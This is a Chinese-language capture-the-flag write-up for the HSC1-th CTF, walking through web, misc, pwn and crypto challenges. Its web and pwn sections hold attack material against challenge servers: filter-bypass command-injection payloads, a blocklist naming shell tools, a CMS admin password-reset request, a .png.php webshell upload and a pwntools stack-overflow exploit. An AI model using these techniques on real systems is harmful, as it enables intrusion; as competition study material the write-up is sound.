MENU

HSC1-th CTF

February 21, 2022 • Read: 496 • Competition WP

打了一个早上加一个晚上,因为只会一点misc和web
有些题没环境就没截图了

WEB

Web-sign in

签到题 提示robots.txt
/robots.txt

/fiag_ls_h3re.php
因为禁用了右键和f12
所以直接control+u得到flag

CLICK

一个小游戏,点击28800次才有flag,应该没人和我一样自动化脚本跑了28800次吧

# -*- coding:utf-8 -*-
from selenium import  webdriver
import time

driver = webdriver.Chrome()
driver.get('http://4f1e907e-4713-4623-b7d0-58ce95fa5138.node.honkersecuritycommando.site:8080/')
time.sleep(2)
for i in range(28800):
 driver.find_element_by_class_name('btn-lg').click()

后面才发现main.js里面有base编码的flag

EXEC

<?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
    $shell = $_REQUEST["cmd"];
    $shell = str_ireplace(" ","",$shell);
    $shell = str_ireplace("\n","",$shell);
    $shell = str_ireplace("\t","",$shell);
    $shell = str_ireplace("?","",$shell);
    $shell = str_ireplace("*","",$shell);
    $shell = str_ireplace("<","",$shell);
    $shell = str_ireplace("system","",$shell);
    $shell = str_ireplace("passthru","",$shell);
    $shell = str_ireplace("ob_start","",$shell);
    $shell = str_ireplace("getenv","",$shell);
    $shell = str_ireplace("putenv","",$shell);
    $shell = str_ireplace("mail","",$shell);
    $shell = str_ireplace("error_log","",$shell);
    $shell = str_ireplace("`","",$shell);
    $shell = str_ireplace("exec","",$shell);
    $shell = str_ireplace("shell_exec","",$shell);
    $shell = str_ireplace("echo","",$shell);
    $shell = str_ireplace("cat","",$shell);
    $shell = str_ireplace("ls","",$shell);
    $shell = str_ireplace("nl","",$shell);
    $shell = str_ireplace("tac","",$shell);
    $shell = str_ireplace("bash","",$shell);
    $shell = str_ireplace("sh","",$shell);
    $shell = str_ireplace("tcp","",$shell);
    $shell = str_ireplace("base64","",$shell);
    $shell = str_ireplace("flag","",$shell);
    $shell = str_ireplace("cp","",$shell);
    exec($shell);
}else{
    highlight_file(__FILE__);
}

就纯纯过滤,绕过就行

?cmd=l''s${IFS}/>/var/www/html/b.txt

?cmd=n''l${IFS}/ctf_is_fun_fl''ag2021>/var/www/html/b.txt

CMS SYSTEM

很搞笑,因为平台说不让扫目录,前端就一个搜索框,我以为是注入,一度尝试宽字节
然后去搜了一下存在框架漏洞,但是没利用成功
最终还是低线程跑了一下发现有www.zip,还有admin后台
直接源码审计
发现在AdminAction.class.php可以利用修改密码来进行密码重置

POST /admin/?a=admin&m=update 
HTTP/1.1 username=admin&password=admin123&notpassword=admin123&send=%E4%BF%AE%E6%9 4%B9%E5%AF%86%E7%A0%81

所以直接抓包修改

然后成功登录后台,发现logo.png是上传点,然后LogoUpload.class.php 中发现会将文件重命名,并且后缀可控,但是进行了限制,所以进行上传一个.png.php的文件就能上马了直接来

有点奇怪,拿到shell必须终端才能看见,可能这就是那个题目的提示吧

Avatar

(未提交
进去发现只有上传头像的点,以为是个文件上传
先传一个普通图片,还会返回路径,直接访问

发现是tp6.0.0的版本
直接猜想是反序列化链
直接试试找exp:https://jfanx1ng.github.io/2020/05/13/ThinkPHP6.0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#pop%E9%93%BE%E6%B5%81%E7%A8%8B
然后直接改phar反序列化打就行

misc

Sign-in

签到题

DORAEMON

zip压缩包注释:哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?
爆破得到压缩包密码

然后发现是一个残缺图,用脚本爆破一下宽高

import zlib
import struct

filename = '1.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095            #理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
    for w in range(n):          #高和宽一起爆破
        width = bytearray(struct.pack('>i', w))     #q为8字节,i为4字节,h为2字节
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为:",end="")
                print(width)
                print("高为:",end="")
                print(height)
                exit(0)

修改得到完整图片,有二维码,但是缺少了两个驻点
ps修改一下得到flag

PERFORMANCE-ART

打开图片发现是银河密码,对照着手动解一下,其他的看着像是数字将所有的一个个翻译一
遍得到

50 4B 03 04 14 00 00 00 08 00 4A 7E 72 53 14 8E 
1E 1E 16 00 00 00 14 00 00 00 06 00 00 00 75 6E 
6B 6E 6F 77 8B CA AD C8 88 32 2E C9 F3 0B 75 2D 
F7 0C CF AE 8C CA 72 B3 04 00 50 4B 01 02 00 00 
14 00 00 00 08 00 4A 7E 72 53 14 8E 1E 1E 16 00 
00 00 14 00 00 00 06 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 75 6E 6B 6E 6F 77 50 4B 
05 06 00 00 00 00 01 00 01 00 34 00 00 00 3A 00 
00 00 00 00

发现是压缩包开头,用010转换为压缩包,然后base64得到flag

汝闻,人言否

010查看图片发现末尾PK被换成了KP,修改一下,然后发现前面也有一个倒置的KP
就从那里导出也修改为PK,然后就是压缩包了,但是需要密码

然后发现末尾有一串数字
猜测是键盘加密:WVALOU
解压发现是wav的文件,修改一下查看频谱图得到flag

wireshark

(未提交
因为没存图和题目
所以说一下步骤:

  1. foremost分离出一个带密码的压缩包和一个图片
  2. 图片存在lsb隐写得到一个二维码,扫出来是乱序的字符串
  3. 栅栏还原一下key=2,得到了压缩包的密码
  4. 打开压缩包是一个png, 用010修改一下
  5. 放进wbstego4.3open得到了flag

pwn

Ez_pwn

最基本的栈溢出

from pwn import * 
r=remote("hsc2019.site",10625) 
shell=0x0000000000400741 
payload=b'a'*(0x40+8)+p64(shell) 
r.recvline('Please enter a string!') 
r.sendline(payload) 
r.interactive()

crypto

Easy SignIn

签到题
十六进制->base64->base32->base64

Last Modified: September 26, 2022
Archives Tip
QR Code for this page
Tipping QR Code